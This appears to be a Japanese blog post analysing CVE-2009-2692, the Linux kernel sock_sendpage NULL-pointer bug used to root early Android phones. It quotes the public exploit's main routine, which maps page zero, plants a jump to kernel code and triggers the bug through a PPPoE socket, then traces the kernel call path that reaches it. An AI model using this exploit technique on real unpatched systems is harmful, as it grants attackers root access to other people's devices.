2011/06/13

Androidでrootを取れるcve-2009-2692を見る(前半)

linux kernel 2.6.30.5以降はこの方法でrootを取ることはできなくなっているが、
HT-03AでAndroid 1.5からrootを取るのはこのBugを利用したExploitであったとのこと。
今さらだが気になったのでどんなBugだったのか調べてみた。

まず、今回のexploitのもととなるsock_sendpage()関数。ここの
sock->ops->sendpageがNULLになっている、というのが今回のバグのもと。
通常ならif(!sock->ops->sendpage)とかでチェックしてエラーするべき、という所か。

見てみるカーネルだが、カーネルは2.6.30.4を見た。2.6.30.5からこのBugに対する対策が取られている。

まず、問題となっているsock_sendpageを見てみる。
/** net/socket.c **/
static ssize_t sock_sendpage(struct file *file, struct page *page,
    int offset, size_t size, loff_t *ppos, int more)
{
struct socket *sock;
int flags;

sock = file->private_data;

flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
flags |= MSG_MORE;

return sock->ops->sendpage(sock, page, offset, size, flags);
}

今回はこのsendpageがNULLを参照している、という事を利用しNULLに実効させるコードを置いておく、という手法らしい。
ある種のsocketに対しsendpageさせる、というのが今回のrootへの道か。

さっそくcve 2009 2692 exploitとググって出てきたexploit
http://www.frasunek.com/proto_ops.tgz
を見てみることにした。

通常はこんなことはできないようになっているが。。exploitを見てみる。

ファイルは3つ。run.cとexploit.cがあり、run.shでrun.cを実効している。

run.cはこれだけ。
/** exploit/runc. **/
int main(void) {
if (personality(PER_SVR4) < 0) {
perror("personality");
return -1;
}

fprintf(stderr, "padlina z lublina!\n");

execl("./exploit", "exploit", 0);
}

personalityって何?という事でmanを見てみると、
Linux は、プロセス毎の異なる実行ドメイン、すなわち パーソナリティ (personality) をサポートしている。
実行ドメインは Linux にシグナル番号にどのシグナルを割り付けるかを 教えたりする。
また、実行ドメイン・システムにより、 Linux は他の Unix 風のオペレーティング・システムでコンパイルされた バイナリに対する限定的なサポートを提供している。

らしい。
つまりrun.cはexploitのパーソナリティをSVR4にすることが目的。
で、肝心のexploit.c。
まずはmainから。
int main(void) {
char template[] = "/tmp/padlina.XXXXXX";
int fdin, fdout;
void *page;

uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);

if ((personality(0xffffffff)) != PER_SVR4) {
if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
perror("mmap");
return -1;
}
} else {
   if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) { // 0 - 0x1000までREAD,WRITE,EXECにする。
perror("mprotect");
return -1;
}
}

*(char *)0 = '\x90'; // nop
*(char *)1 = '\xe9'; // jmp
*(unsigned long *)2 = (unsigned long)&kernel_code - 6; // 0xe9はrelative jumpであることに注意。90 e9 hh hh hh hhで6。

if ((fdin = mkstemp(template)) < 0) { // 一時ファイルを生成(templateより)
perror("mkstemp");
return -1;
}

if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
perror("socket");
return -1;
}

unlink(template); //作ったファイルネームを削除。
ftruncate(fdin, PAGE_SIZE); // fdinをPAGE_SIZEに拡張。中身は0が書き込まれる。
sendfile(fdout, fdin, NULL, PAGE_SIZE);
}

空のファイルからPPPOEのソケットにsendfile。これが巡りに巡ってsock_sendpageを呼ぶのだろう。
その過程を見てみる。


まず、ユーザ空間でsendfile()すると、sys_sendfileが呼ばれ、そこからdo_sendfileが呼ばれる。
/** fs/read_write.c **/
static ssize_t do_sendfile(int out_fd, int in_fd, loff_t *ppos,
  size_t count, loff_t max)
{
/* 略 */
retval = do_splice_direct(in_file, ppos, out_file, count, fl);
/* 略 */
}

do_sendfileは、do_splice_directを呼ぶ。ここでファイルの内容の転送がおこる。
今回の場合はin_fileは場合mkstempしたファイル、out_fileがソケット(PF_PPPOX)となっている。

以前のカーネル(ほかに手持ちだったlinux-2.6.22.3)ではdo_splice_directでなく
do_sendfileはin_file->f_op->sendfile()を呼んでいた。
この関数は通常generic_file_sendfileを指していて、
そこから呼ばれていく関数内で、do_generic_file_read() -> do_generic_mapping_readと来て、

do_generic_mapping_readの中でret = actor(desc, page, offset, nr);
actorはfile_send_actorで、file_send_actorはdesc->arg.data->f_op->sendpageを呼ぶ。

desc->arg.data = out_fileであり、
out_file->f_op->sendpage()これは、sock_attach_fd内で
file->f_op = &socket_file_ops;となっており、
socket_file_opsのsendpageはsock_sendpageである。

という流れだった。

linux-2.6.30.4ではdo_splice_directを見ると、
/** fs/splice.c **/
long do_splice_direct(struct file *in, loff_t *ppos, struct file *out,
     size_t len, unsigned int flags)
{
struct splice_desc sd = {
.len = len,
.total_len = len,
.flags = flags,
.pos = *ppos,
.u.file = out, /* out はここ。これがsocket。*/
};
long ret;

ret = splice_direct_to_actor(in, &sd, direct_splice_actor); /* (1) */
/* 略 */
return ret;
}

splice_direct_to_actorはpipeをゲットして、
ret = do_splice_to(in, &pos, pipe, len, flags);
で書きこみ、
ret = actor(pipe, sd);
とする。
actorは(1)で渡したdirect_splice_actorのことで、

/** fs/splice.c **/
static int direct_splice_actor(struct pipe_inode_info *pipe,
      struct splice_desc *sd)
{
struct file *file = sd->u.file;

return do_splice_from(pipe, file, &sd->pos, sd->total_len, sd->flags);
}

とpipeからoutに書く。で、do_splice_fromは、

/** fs/splice.c **/
static long do_splice_from(struct pipe_inode_info *pipe, struct file *out,
  loff_t *ppos, size_t len, unsigned int flags)
{
/* 略 */
return out->f_op->splice_write(pipe, out, ppos, len, flags);
}

とout->f_op->splice_writeを呼ぶ。
これは、sock_attach_fd内でfile->f_op = &socket_file_ops;とされており、
.splice_write = generic_splice_sendpage;である。(net/socket.c)
つまりここでgeneric_splice_sendpageが呼ばれる。
generic_splice_sendpageは、

/** fs/splice.c **/
ssize_t generic_splice_sendpage(struct pipe_inode_info *pipe, struct file *out,
loff_t *ppos, size_t len, unsigned int flags)
{
return splice_from_pipe(pipe, out, ppos, len, flags, pipe_to_sendpage); /*(2)*/
}

とsplice_from_pipeをpipe_to_sendpageを渡してコール。
splice_from_pipeはdo_splice_directと良く似ていて、

/** fs/splice.c **/
ssize_t splice_from_pipe(struct pipe_inode_info *pipe, struct file *out,
loff_t *ppos, size_t len, unsigned int flags,
splice_actor *actor)
{
ssize_t ret;
struct splice_desc sd = {
.total_len = len,
.flags = flags,
.pos = *ppos,
.u.file = out,
};

pipe_lock(pipe);
ret = __splice_from_pipe(pipe, &sd, actor);
pipe_unlock(pipe);

return ret;
}

この__splice_from_pipeがactorを使ってpipeからsdにどんどん書きこんでいく処理をする関数。
/** fs/splice.c **/
ssize_t __splice_from_pipe(struct pipe_inode_info *pipe, struct splice_desc *sd,
  splice_actor *actor)
{
int ret;

splice_from_pipe_begin(sd);
do {
ret = splice_from_pipe_next(pipe, sd);
if (ret > 0)
ret = splice_from_pipe_feed(pipe, sd, actor);
} while (ret > 0);
splice_from_pipe_end(pipe, sd);

return sd->num_spliced ? sd->num_spliced : ret;
}

このsplice_from_pipe_feed内で、

ret = actor(pipe, buf, sd);
とactor(現在は(2)のpipe_to_sendpage)を呼びだす。

このpipe_to_sendpageを見ると

/** fs/splice.c **/
static int pipe_to_sendpage(struct pipe_inode_info *pipe,
   struct pipe_buffer *buf, struct splice_desc *sd)
{
struct file *file = sd->u.file; /*これは書きだす先のout、つまりsocket*/
loff_t pos = sd->pos;
int ret, more;

ret = buf->ops->confirm(pipe, buf);
if (!ret) {
more = (sd->flags & SPLICE_F_MORE) || sd->len < sd->total_len;

ret = file->f_op->sendpage(file, buf->page, buf->offset,  /* これがsock_sendpage */
  sd->len, &pos, more);
}

return ret;
}

このfileがsocketなのでfile->f_op->sendpageは
sock_attach_fd()内でfile->f_op = &socket_file_ops;とされており、
.sendpage = sock_sendpage;である。(net/socket.c)
つまりここでsock_sendpageが呼ばれる。
という流れになっている。長かった・・・。

sock_sendpageが呼ばれる流れは以上の通りだが、sock_sendpageの中で呼ばれる
sock->ops->sendpageはどのようにNULLになっているのだろうか。


まず、socket呼びだしを見てみる。
socketを呼ぶと、次のような流れで呼ばれる。
sys_socket -> sock_create -> __sock_create

/* asmlinkage long sys_socket(int family, int type, int protocol)になる*/
SYSCALL_DEFINE3(socket, int, family, int, type, int, protocol)
{
int retval;
struct socket *sock;
/* 略 */
retval = sock_create(family, type, protocol, &sock); /* sock_createはすぐに__sock_createを呼ぶ */
/* 略 */
retval = sock_map_fd(sock, flags & (O_CLOEXEC | O_NONBLOCK));
/* sock_map_fd()からsock_attach_fd()が呼ばれ、file->private_data = sockとされる。 retvalはそのfileのfd。*/
/* 略 */
return retval; /* fdが返る */
}

/** net/socket.c **/
static int __sock_create(int family, int type, int protocol,
struct socket **res, int kern)
{
/* 略 */
pf = rcu_dereference(net_families[family]);
/* 略 */
err = pf->create(sock, protocol);
/* 略 */
*res = sock /*ここでsockが返る*/
}

ここでnet_families[family]のcreateが呼ばれている。ここで今回のPPPOXのcreateを見ると、
/** drivers/net/pppox.c **/
static int pppox_create(struct socket *sock, int protocol)
{
int rc = -EPROTOTYPE;
/* 略 */
if (!pppox_protos[protocol] ||
   !try_module_get(pppox_protos[protocol]->owner))
goto out;

rc = pppox_protos[protocol]->create(sock); /* 今回socketの引数のprotocol = 0 */

module_put(pppox_protos[protocol]->owner);
out:
return rc;
}

このpppox_protos[protocol]っていうのはプロトコルファミリの中の実際のプロトコル。今回はpppoe。
以下のファイルでregisterしてる。
/** drivers/net/pppoe.c **/
static int __init pppoe_init(void)
{
int err;

err = proto_register(&pppoe_sk_proto, 0);
/* 略 */

  err = register_pppox_proto(PX_PROTO_OE, &pppoe_proto); /* if_pppox.hに #define PX_PROTO_OE = 0 */
      /* ここでpppox_protos[0]に&pppoe_protoをregisterされてる。 */
/* 略 */
}

static int pppoe_create(struct socket *sock)
{
struct sock *sk;

sk = sk_alloc(net, PF_PPPOX, GFP_KERNEL, &pppoe_sk_proto);
if (!sk)
return -ENOMEM;

sock_init_data(sock, sk);

sock->state = SS_UNCONNECTED;
sock->ops   = &pppoe_ops; /* sock->opsにpppoe_opsがセット */
/* 略 */
}

そのpppoe_opsとは
/** /drivers/net/pppoe.c **/
static const struct proto_ops pppoe_ops = {
    .family = AF_PPPOX,
    .owner = THIS_MODULE,
    .release = pppoe_release,
    .bind = sock_no_bind,
    .connect = pppoe_connect,
    .socketpair = sock_no_socketpair,
    .accept = sock_no_accept,
    .getname = pppoe_getname,
    .poll = datagram_poll,
    .listen = sock_no_listen,
    .shutdown = sock_no_shutdown,
    .setsockopt = sock_no_setsockopt,
    .getsockopt = sock_no_getsockopt,
    .sendmsg = pppoe_sendmsg,
    .recvmsg = pppoe_recvmsg,
    .mmap = sock_no_mmap,
    .ioctl = pppox_ioctl,                        /* .sendpageがない! */
};

sock->ops->sendpageは、設定されてないので、NULLであった。
こうして冒頭のsock_sendpage内でNULLを呼ばれるわけである。

0 件のコメント:

コメントを投稿